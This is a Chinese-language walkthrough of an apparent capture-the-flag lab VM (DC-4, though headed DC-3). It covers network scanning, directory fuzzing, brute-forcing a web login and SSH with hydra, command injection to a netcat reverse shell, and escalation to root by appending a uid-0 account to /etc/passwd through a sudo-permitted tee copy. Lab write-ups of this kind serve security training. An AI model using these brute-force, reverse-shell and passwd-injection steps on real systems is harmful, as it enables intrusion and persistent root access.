实验环境
攻击者 Kali 192.168.192.128
受害者 DC-3 IP未知
攻击者和受害者在同一网段
1. 信息收集
nmap -sn 192.168.192.0/24
受害者IP为 192.168.192.156
收集受害者服务详情
nmap -sV -A 192.168.192.156
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http nginx 1.15.10
进行FUZZ测试
export URL="http://192.168.192.156/FUZZ"
#模糊测试目录 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
#模糊测试文件 排除404网页
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
2. 漏洞发现和利用
看一下HTTP服务
测试了弱密钥和基础的SQLi 发现无法进入且没有错误反馈
那没办法 尝试一下爆破
我们假设用户名为admin 爆破密码
pyload选择 /usr/share/wordlists/rockyou.txt
爆破出来密码为happy
我们使用 admin happy进入
很明显 命令注入
攻击者监听
nc -lvvnp 4444
我们抓包 修改命令
getshell
3. 后渗透阶段
先建立稳定shell
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
Ctrl + z
stty raw -echo ; fg ; reset
stty columns 200 rows 200
看一下网络
netstat -anltp
发现没有安装
我们用ss来代替
ss -tunlp
貌似有一个SMTP邮件服务监听在本地
我们去邮件目录看看
www-data@dc-4:/tmp$ cd /var/mail
www-data@dc-4:/var/mail$ ls -al
total 12
drwxrwsr-x 2 root mail 4096 Apr 6 2019 .
drwxr-xr-x 12 root root 4096 Apr 5 2019 ..
-rw-rw---- 1 jim mail 715 Apr 6 2019 jim
www-data@dc-4:/var/mail$ cat jim
cat: jim: Permission denied
有一封邮件 创建者为jim 但没有权限
去家目录看看
www-data@dc-4:/usr/share/nginx/html$ cd /home
cd /home
www-data@dc-4:/home$ ls -al
ls -al
total 20
drwxr-xr-x 5 root root 4096 Apr 7 2019 .
drwxr-xr-x 21 root root 4096 Apr 5 2019 ..
drwxr-xr-x 2 charles charles 4096 Apr 7 2019 charles
drwxr-xr-x 3 jim jim 4096 Apr 7 2019 jim
drwxr-xr-x 2 sam sam 4096 Apr 7 2019 sam
发现有其他三个用户
www-data@dc-4:/home$ ls -lsaR
有两个让人感兴趣的文件
cp /home/jim/backups/old-passwords.bak /tmp
cd /tmp
cat old-passwords.bak
拷贝密码内容到kali的passwords.txt
建立一个user.txt文件 里面加入 charles jim sam
用hydra来爆破ssh密码
hydra -L user.txt -P password.txt ssh://192.168.192.156
ok 爆破出用户名和密码
host: 192.168.192.156 login: jim password: jibril04
┌──(root㉿kali)-[~/Desktop]
└─# ssh jim@192.168.192.156
我们就能进去了
看一下jim的邮件
cat /var/mail/jim
拿到了charles的密码^xHhA&hvim0y
我们进charles的账号
列出我们的sudo权限
charles@dc-4:/home$ sudo -l
Matching Defaults entries for charles on dc-4:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on dc-4:
(root) NOPASSWD: /usr/bin/teehee
/usr/bin/teehee可以用root权限 不要密码 那我们就考虑利用这个来改写/etc/passwd
charles@dc-4:/usr/bin$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit
MODE determines behavior with write errors on the outputs:
'warn' diagnose errors writing to any output
'warn-nopipe' diagnose errors writing to any output not a pipe
'exit' exit on error writing to any output
'exit-nopipe' exit on error writing to any output not a pipe
The default MODE for the -p option is 'warn-nopipe'.
The default operation when --output-error is not specified, is to
exit immediately on error writing to a pipe, and diagnose errors
writing to non pipe outputs.
GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
Full documentation at: <http://www.gnu.org/software/coreutils/tee>
or available locally via: info '(coreutils) tee invocation'
-a 选项 附加到给定的文件,不覆盖
我们组合一个/etc/passwd条目
先到/etc/shadow找一下密码
$y$j9T$Gp8IHDWZiyINQoPWrXSVH1$Rz4.UpKA71Wt6N2izu1.2wwa8lnQ0NZtrWTY87O2FO0
明文是123456
组合
zhyann:$y$j9T$CyLEiMQV0frKEvU1ElSqm0$JS8ER56b8SHEdzVIw8ThuHg4P3w8B8Egn4GmHy7e3o7:0:0:zhyann,,,:/home/zhyann:/usr/bin/zsh
用teehee写入
charles@dc-4:/usr/bin$ sudo teehee -a /etc/passwd
zhyann:$y$j9T$CyLEiMQV0frKEvU1ElSqm0$JS8ER56b8SHEdzVIw8ThuHg4P3w8B8Egn4GmHy7e3o7:0:0:zhyann,,,:/home/zhyann:/usr/bin/zsh
cat /etc/passwd
成功写入
我们进入zhyann的账号就是root权限了